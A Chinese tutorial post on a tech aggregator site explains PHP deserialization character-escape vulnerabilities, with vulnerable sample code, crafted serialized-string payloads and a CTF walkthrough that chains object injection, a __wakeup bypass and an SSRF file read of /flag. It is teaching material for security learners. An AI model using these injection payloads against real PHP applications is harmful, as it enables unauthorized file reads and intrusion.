IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP反序列化-字符逃逸 -> 正文阅读

[PHP知识库]PHP反序列化-字符逃逸

写在前面

字符逃逸是在反序列化的基础之上进行的,如果你不是很清楚反序列化漏洞,可以点击下方:

反序列化漏洞

摘要

普通PHP反序列化漏洞是因为用户对反序列化过程可控造成的魔法方法弹出导致的漏洞,字符逃逸不仅可以在普通反序列化漏洞之上触发魔法方法,由于过滤器的存在,还可以对payload进行构造,对反序列化的数据进行修改。

漏洞成因

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,主要原因是因为过滤函数放在了serialize函数之后。

反序列化字符串都是以";}结束的,所以如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。程序也就会报错。

具体漏洞&举例

增长逃逸

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;
?>

上述代码含义大概就是将变量AA序列化后的值中的‘bb’替换为’ccc’,随后再反序列化。
由于本身AA是不含有’bb’的,所以结果非常正常。
在这里插入图片描述
现在我们将$AA中的属性略加修改:

public $name='aaaabb';

同时将$res 打印出来
出现了如下结果:
在这里插入图片描述
我们将本身要求是长度为6的字符串变成了长度为7,它本身已经无法进行反序列化了,并且根据反序列化函数的规则,它只会检测长度为6,也就是说最后一个’c’无法检测,这样我们就逃逸了一个字符。

假设我们要使用这个逃逸的间隙来修改pass的值,那么我们的payload可以是:

";s:4:"pass";s:4:"hack";}

上述payload的长度为25,那么我们添加25个’bb’就能够逃逸25个字符了
在这里插入图片描述
修改成功。
这里的思想就是原字符长度+payload长度=过滤后的字符长度
由于数量的限制和闭合的存在,能够完成反序列化,同时舍弃原来的数据。

缩短逃逸

自然,过滤器除了能够增长字符串同时也能缩短字符串。
代码示例:

<?php
function str_rep($string){
	return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

代码大概意思就是先通过get接收name,sign参数,然后通过黑名单过滤,将敏感字替换为空。
这里我们想要更改number的值

思路为在写name的参数时,本身的长度是较长的,但是由于全部替换为空,急剧缩短后unserialize()会继续向后查找,继续向后就是对sign的序列化语句了,这时,在payload中我们给出一个" 让它闭合,这样对sign的序列化语句就会被错误地认为是name的参数,而一旦sign序列化语句的数字限制被屏蔽,我们就可以按照我们所想的进行随意定义了。而number作为最后一个参数,就能够被’}提前闭合。

payload:

name=testtesttesttesttesttest&sign='hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}'

这里的理解有点绕,来看看图吧:
在这里插入图片描述
放入payload之后经过过滤器就变成了这样,蓝线部分是没有出错之前的序列化方法,但是很明显第一个蓝色部分的长度已经不能和24匹配。
那么,“聪明”的序列化函数就会这么想:
在这里插入图片描述
红色部分就是它找到的24,但是这一找,就把本身的sign序列化的54给屏蔽了。
后面下划线部分我们就可以为所欲为了,直接对sign和number参数重写。
随后直接提前截断剩余部分,完成反序列化逃逸。

部分例题来源:
https://blog.csdn.net/qq_45521281/article/details/107135706

CTF示例(bugku-web-new php)

题目源码:

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`?′●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’?’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

重点看到的是两个类,在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,肯定要构造触发这个evil类来获得flag。查看接入点,是post进去username和password两个参数。
然后触发的是User类,有read和write方法,明显是过滤器(fliter),经过处理后才进行序列化,这就是典型的字符串逃逸。

思路:
1.判断是增长型还是缩短型。
2.按照要求写出payload。
3.按照不同类型的逃逸方法对payload字段进行字符逃逸。
4.对其他进行绕过(如__wakeup()函数)。(不是本节重点)

这里的write chr(0).’*’.chr(0) 代表 null*null protected标志常常会出现,长度为3,而其本身难以查找,我们利用read函数,将\0\0\0长度为6缩短为长度为3,也就是缩短型。每次逃逸三个字符。

利用脚本写出payload:

O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

strlen()函数获取字符串长度为:

41

这里是缩短型,通过username的缩短来屏蔽对password字符段的长度定义。
就是要屏蔽:";s:8:"password";s:41:"
屏蔽长度为:23
加上一个填充字符到24(能够被3整除),也就是一共缩短8组过滤字符。

那么payload(post传入):

"username":"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0",
"password":a";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},

password的第一个"a"就是填充字符。

最后这里要对__wakeup()函数进行绕过(对__wakeup()函数绕过原理见下方),再次修改payload:

"username":"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0",
"password":a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";},

进入后得到一个base64编码的字符串:
提示在index.cgi有东西。
进入index.cgi后是一个简单的ssrf
在下方的提示下,利用name参数发出get请求,利用file协议对文件进行请求
payload为:

index.cgi?name= file:///flag

得到flag:
在这里插入图片描述
这里ssrf并不是我们的重点,就简单带过了。

其他

如果你想知道与反序列化漏洞相关的__wakeup()函数绕过,可以下方查看:

__wakeup()函数绕过

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-14 13:46:45  更:2021-08-14 13:48:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/14 3:15:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码